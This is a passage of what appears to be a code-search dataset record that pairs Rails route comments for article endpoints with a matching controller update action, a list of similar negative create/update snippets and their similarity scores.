new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def create_article\n return unless request.method == \"POST\"\n\n return if flash_missing_title?\n article = Article.new(title: params[:article][:title],\n body: params[:article][:body],\n user_id: @user.id)\n article.save\n redirect_to(action: \"show_article\", id: article.id)\n end", "def create\n logger.debug \"request: #{params.inspect}\"\n vari = params.require(:article).permit(:text, :title)\n logger.debug \"SOLO LOS ARTICLES : #{vari}\"\n @article = Article.new(vari)\n if @article.save\n redirect_to @article\n else\n render 'new'\n end\n logger.debug \"New article: #{@article.attributes.inspect}\"\n logger.debug \"Article should be valid: #{@article.valid?}\"\n end", "def create\n @backend_article = Backend::Article.new(article_params)\n\n respond_to do |format|\n if @backend_article.save\n format.html { redirect_to @backend_article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @backend_article }\n else\n format.html { render action: 'new' }\n format.json { render json: @backend_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n @article.user = @user\n respond_to do |format|\n if @article.save\n format.html { redirect_to new_article_path, notice: 'Artigo enviado com sucesso' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n setup_images()\n format.html { redirect_to @article, notice: '่จ˜ไบ‹ใ‚’ไฝœๆˆใ—ใพใ—ใŸใ€‚' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n # Format HTML representa o padrรฃo de projeto Template, que redefine partes do algoritmo\n # sem mudar a estrutura do codigo.\n format.html { redirect_to @article, notice: 'Artigo criado com sucesso.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @article = Article.new()\n \n set_publishable_params(params[:article], @article)\n \n @article.assign_attributes(article_params)\n @article.user_id = current_user.id\n \n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def create\n @user_article = UserArticle.new(params[:user_article])\n\n respond_to do |format|\n if @user_article.save\n format.html { redirect_to @user_article, :notice => 'User article was successfully created.' }\n format.json { render :json => @user_article, :status => :created, :location => @user_article }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user_article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n @article.user_id = current_user.id\n\n if @article.save\n redirect_to root_path\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end", "def create\n @article = Article.new(article_params)\n @article.user = current_user\n @article.status = Rails.configuration.constants['article_status_draft']\n\n authorize @article\n\n if @article.save\n render status: :created, template: 'articles/show'\n else\n render json: {errors: @article.errors.full_messages}, status: :unprocessable_entity\n end\n end", "def create\n @article = current_user.articles.build(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: \"Article was successfully created. #{undo_link}\" }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article_post = ArticlePost.new(article_post_params)\n\n respond_to do |format|\n if @article_post.save\n format.html { redirect_to @article_post, notice: 'Review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article_post }\n else\n format.html { render action: 'new' }\n format.json { render json: @article_post.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71525854", "0.7089459", "0.7089459", "0.7089459", "0.7089459", "0.7089459", "0.7089459", "0.7089459", "0.7089459", "0.7083744", "0.70643014", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.7055016", "0.70528066", "0.7039442", "0.702776", "0.7018597", "0.7008708", "0.7002723", "0.69954133", "0.69954133", "0.6974933", "0.6959542", "0.6933579", "0.6919544", "0.6909058", "0.68974465", "0.6897404", "0.68606085", "0.68200445", "0.67969865", "0.6749992", "0.67229193", "0.67218864", "0.6709733", "0.6703741", "0.6698158", "0.6686436", "0.6640525", "0.66297364", "0.6605853", "0.65991074", "0.658616", "0.6566126", "0.6548638", "0.6540603", "0.65286016", "0.6527921", "0.6521164", "0.6507019", "0.65029097", "0.6501738", "0.64948905", "0.6486957", "0.6475077", "0.6455385", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.64525753", "0.6449997", "0.6449802", "0.64369303", "0.6436334", "0.64254093", "0.64234185", "0.6418188", "0.6416941", "0.6409143", "0.6407501", "0.6396488", "0.6390917", "0.63863355" ]
0.6677905
47
PATCH/PUT /articles/1 PATCH/PUT /articles/1.json
def update respond_to do |format| if @article.update(article_params) format.html { redirect_to @article, notice: 'Article was successfully updated.' } format.json { render :show, status: :ok, location: @article } else format.html { render :edit } format.json { render json: @article.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @article = article_get(params[:id])\n @article.update(params[:article])\n respond_with(@article)\n end", "def UpdateArticle id,params = {}\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to articles_path, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_article(id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = put(\"articles/#{id}\",options)\n if response['success']\n return response['results']['article']\n else\n return response\n end\n end", "def update\n @article = Article.find(params[:id])\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, :notice => 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n auth_privilege\n\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find_by_authentication_token(params[:auth_token])\n @newArticle = Article.new.from_json(params[:article])\n @oldArticle = Article.find(@newArticle.id)\n @author = Author.find_by_user_id_and_article_id(@user.id, @newArticle.id)\n if @author != nil\n @oldArticle.content = @newArticle.content\n @oldArticle.category = @newArticle.category\n @oldArticle.title = @newArticle.title\n respond_to do |format|\n if @oldArticle.save\n format.html { redirect_to @oldArticle, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oldArticle.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render json: \"error\" }\n format.json { render json: \"error\" }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to articles_public_url, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n@article=Article.find(params[:id])\n @article.title=params[:article][:title]\n@article.body=params[:article][:body]\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\nend", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to [:edit, @article], notice: 'Article modifiรฉ.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n #check_for_destroys\n \n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @article\n if @article.update(article_params)\n render status: :ok, template: 'articles/show'\n else\n render json: {errors: @article.errors.full_messages}, status: :unprocessable_entity\n end\n end", "def update\n @article = Article.find(params[:id])\n \n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n flash[:success] = 'Article was successfully updated.';\n format.html { redirect_to dashboard_articles_url }\n format.json { render :article }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n # increase edit by 1\n if @article.edit_count\n @article.edit_count = @article.edit_count + 1\n else\n @article.edit_count = 0\n end\n # save\n respond_to do |format|\n if @article.update_attributes(params[:article])\n #format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.html { redirect_to session[:edit_redirect], notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n respond_to do |format|\n if @article.update_attributes(article_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html do\n redirect_to @article, notice: 'Article was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json do\n render json: @article.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n authorize! :edit, @article\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params_for_update)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = current_user.articles.find(params[:id])\n\n if @article.approved?\n params[:article].delete(:title)\n params[:article].delete(:teaser)\n end\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to(:back, :notice => 'article was successfully updated.') }\n format.json { respond_with_bip(@article) }\n else\n format.html { render :action => \"edit\" }\n format.json { respond_with_bip(@article) }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.'} \n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n expire_one(params[:id])\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to([:admin, @article], :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: \"Article was successfully updated.\" }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:article])\n format.html { redirect_to @post, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n @partenaire = @art\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t@article = current_user.articles.find([:id]) \n#@article = Article.find(params[:id])\n respond_to do |format|\n if @article.update_attributes(params[:article])\nformat.html { redirect_to(@article, \"article updated succesfully\") }\n#format.html { redirect_to(@article,\n#\t:notice => t('articles.update_success')) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\t\tdeny_access_unless(can_edit?(@article))\n\t\t\n\t\topts = {}\n\t\topts = { :as => :editor } if can_edit?(@article)\n\t\topts = { :as => :admin } if admin?\n\n respond_to do |format|\n if @article.update_attributes(params[:article], opts)\n format.html { redirect_to @article, :notice => 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize @article\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html do\n redirect_to @article,\n notice: t('shared.msgs.success_updated',\n obj: t('activerecord.models.article', count: 1))\n end\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n flash.now[:alert]= 'Error: '+ @article.errors.full_messages.join(\". \")\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Zmodyfikowano artykuล‚.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t params.permit!\n\t respond_to do |format|\n\t if @article.update(article_params)\n\t format.html { redirect_to @article, notice: 'article was successfully updated.' }\n\t format.json { render :show, status: :ok, location: @article }\n\t else\n\t format.html { render :edit }\n\t format.json { render json: @article.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend", "def update\n\t\trespond_to do |format|\n\t\t\tif @article.update(article_params)\n\t\t\t\tformat.html { redirect_to @article, notice: 'Article was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @article }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @article.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @article = Article.find(params[:id])\n\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n undo_link = view_context.link_to(\"undo\", revert_version_path(@article.versions.last), :method => :post)\n format.html { redirect_to @article, notice: \"Article was successfully updated. #{undo_link}\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.format_title = @admin_article.title.gsub(/ /,\"_\").downcase\n\n respond_to do |format|\n if @admin_article.update_attributes(params[:admin_article])\n format.html { redirect_to @admin_article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end", "def update\n #@article = Article.find(params[:id])\n #@article = current_user.articles.update_attributes(params[:article])\n @article = Article.where(:user_id => current_user.id).find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'ๆ‚จๅทฒๆˆๅŠŸไฟฎๆ”น็ป้ชŒ่ดด' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n \n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to article_url(@article) }\n format.xml { render :nothing => true }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors.to_xml } \n end\n end\n end", "def update\n setup_images()\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: '่จ˜ไบ‹ใ‚’ๆ›ดๆ–ฐใ—ใพใ—ใŸใ€‚' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @backend_article.update(article_params)\n format.html { redirect_to @backend_article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @backend_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Articulo actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to [@article.issue.magazine, @article.issue, @article], notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to open_article(@article), notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to(@article, :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to(@article, :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to(@article, :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n @article.sent = false\n @article.save\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n article = Article.of(current_user).find params[:id] rescue render status: 500, inline: 'Article not found' and return\n # old_article = article.clone TODO used to update Redis index\n article.update_attributes params['article']\n if article.invalid?\n render status: 400, inline: extract_first_error_message(article.errors.messages)\n else\n render status: 204, nothing: true\n end\n end\n \n private\n \n def authenticated?\n if !current_user\n redirect_to login_path and return\n end\n end\n\n def inject_current_user_into_params\n params['article']['user'] = current_user\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'ฤŒlanek je bil uspeลกno posodobljen!' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n if @article.update(article_params)\n render :show\n else\n render json: { errors: @article.errors }, status: :unprocessable_entity\n end\n end", "def update\n @bolt_article = Bolt::Article.find(params[:id])\n\n respond_to do |format|\n if @bolt_article.update_attributes(params[:bolt_article])\n format.html { redirect_to :action=>'index', notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bolt_article.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6822808", "0.67426866", "0.6710149", "0.67066306", "0.66805017", "0.6678203", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.66669637", "0.6654977", "0.6643167", "0.6633079", "0.6614886", "0.6614886", "0.6614886", "0.6614886", "0.6613473", "0.6586308", "0.6579698", "0.6572169", "0.6557617", "0.6557617", "0.65408635", "0.65133464", "0.64721566", "0.64211977", "0.64022315", "0.6391588", "0.6387404", "0.63845026", "0.6377924", "0.636649", "0.636185", "0.63466203", "0.63432413", "0.6338617", "0.63291377", "0.6317967", "0.63022953", "0.6265281", "0.62621754", "0.6257915", "0.6253977", "0.62488335", "0.6247345", "0.62460625", "0.624066", "0.6231314", "0.62176013", "0.6217563", "0.6209837", "0.6207177", "0.619775", "0.6192646", "0.61863476", "0.6182607", "0.618144", "0.6181373", "0.6180833", "0.61771077", "0.61557335", "0.61332554", "0.61332554", "0.61332554", "0.61277884", "0.61136353", "0.61119133", "0.6110518", "0.61055523", "0.61054254" ]
0.6374309
59
DELETE /articles/1 DELETE /articles/1.json
